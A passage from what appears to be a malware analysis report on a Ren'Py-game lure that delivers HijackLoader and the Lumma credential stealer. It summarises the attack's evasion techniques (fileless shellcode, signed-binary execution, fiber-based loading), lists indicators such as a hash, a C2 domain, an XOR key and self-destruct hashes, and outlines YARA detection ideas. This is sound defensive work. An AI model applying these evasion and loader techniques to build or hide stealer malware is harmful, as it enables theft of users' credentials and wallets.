- Social engineering: The use of a complete Ren’Py game as a distribution vehicle, combined with delivery through a trusted emulation website, creates a lure that some sleepy users would not question.
- Defense evasion: The attack chain avoids writing executable code to disk (fileless execution via memory-only shellcode), uses Microsoft-signed binaries for execution, and employs fiber-based execution to evade EDR thread-monitoring heuristics.
- Operational security: The attacker uses multiple layers of encryption and encoding, randomized variable names, and corrupted marshaled bytecode to hinder analysis.
- Modularity: The
.keyfile-based configuration system suggests this is a builder/framework where the attacker can swap payloads, keys, and executables without modifying the dropper code.
Confirmed Malware Family
Public threat intelligence correlation confirmed this sample:
- SHA256
7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4abis indexed in ANY.RUN, FileScan.io, and VirusTotal with detections from multiple AV engines. - Campaign: “RenEngine” - A 2025-2026 campaign documented by Kaspersky (
Trojan.Python.Agent.nb), Offseq, and Cyderes that exploits the Ren’Py visual novel engine to distribute infostealers. - Loader: HijackLoader - A modular loader that uses DLL side-loading and module stomping for payload delivery.
- Payload: Lumma Stealer (LummaC2) - A Malware-as-a-Service (MaaS) information stealer targeting browser credentials, cookies, cryptocurrency wallets, 2FA tokens, and session data. First appeared on Russian-language forums in 2022.
- CISA/FBI Advisory: AA25-141B (May 21, 2025) - “Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations.” Provides STIX-formatted IOC lists with 115 known C2 domains.
- Known C2 domain (campaign-specific):
explorebieology[.]run. - Geographic targeting: Russia, Brazil, Turkey, Spain, Germany.
- C2 infrastructure: Lumma rotates C2 domains frequently, using TLDs
.shop,.top,.run,.digital,.live,.pw,.site,.world,.fun,.today,.icu,.betbehind Cloudflare CDN. Some C2 addresses are resolved dynamically from Steam community profiles or Telegram channels as fallback. - LummaC2 behavior (per CISA): Decrypts callback C2 domains at runtime, sends POST requests to find active C2, receives JSON-formatted commands for data theft. Includes a self-destruct failsafe that checks username/hostname hash against hardcoded values (
0x56CF7626/0xB09406C7) - likely the malware author’s own machine.
Shellcode Emulation Attempts
Multiple emulation attempts were performed to decrypt the self-modifying shellcode:
- Unicorn Engine v2 (basic): 99M instructions executed, 0 bytes modified in-place. The decoder writes to a dynamically calculated address, not in-place.
- Unicorn Engine v2 (tracked writes): 199M instructions with memory write hooks. Only 1 byte written to the code region. The decoder target address (EDX=
0x00bfff9c) was outside mapped memory. - Unicorn Engine v2 (full memory + PEB/TEB): 297M instructions with expanded memory mapping (4MB), auto-mapping of unmapped pages, and simulated TEB/PEB structures. The decoded content was written to dynamically allocated region but the decoder required additional API stubs (
VirtualAllocsimulation) that pure Unicorn cannot provide. - Speakeasy (Mandiant): Installation succeeded but the bundled
unicorn==1.0.2is incompatible with Python 3.12+ (distutils/pkg_resourcesremoved). Would require Python 3.9-3.11 or a native Speakeasy build.
Conclusion: The shellcode employs anti-emulation techniques (dynamic address calculation, potential API-dependent decoding) that require full Windows API emulation (Speakeasy with compatible Python, or scdbg on Windows) rather than bare CPU emulation.
Completeness of Analysis
The analysis achieved full deobfuscation of the attack chain from initial lure to shellcode loader - 6 out of 7 stages were fully decoded. The final shellcode payload stage (stage 7) was characterized structurally (decoder stub disassembly, size metrics, architecture identification) but not decrypted, as the XOR self-decrypting stub resists emulation without a full Windows environment simulation.
The analytical gap was compensated by threat intelligence correlation, which confirmed the malware family (LummaC2), active campaign (RenEngine), and provided 115 known C2 domains from the CISA/FBI advisory.
Future Work
- Shellcode decryption - Emulate with
speakeasyon Python 3.9-3.11, orscdbgon a Windows VM, to fully decrypt the 194KB payload and extract:- Exact C2 domains/IPs for this specific sample
- Implant configuration (sleep/jitter, user-agent, C2 protocol)
- Cobalt Strike watermark or Lumma build ID
- Dynamic analysis - Execute in ANY.RUN or Cape Sandbox to:
- Capture actual C2 traffic (POST requests, JSON commands)
- Identify data exfiltration targets
- Observe runtime persistence mechanisms
-
steamapi.pyc reverse engineering - Decompile with Python 3.9 +
decompyle3to reveal potential additional stealer logic. - YARA rule development - Detection signatures based on:
- XOR key
TqDLmrBbmywin.keyfile format qcbgcbyifunction name in ASAR files- Fiber-based shellcode loader pattern
- NOP sled + XOR decoder stub byte signature
- XOR key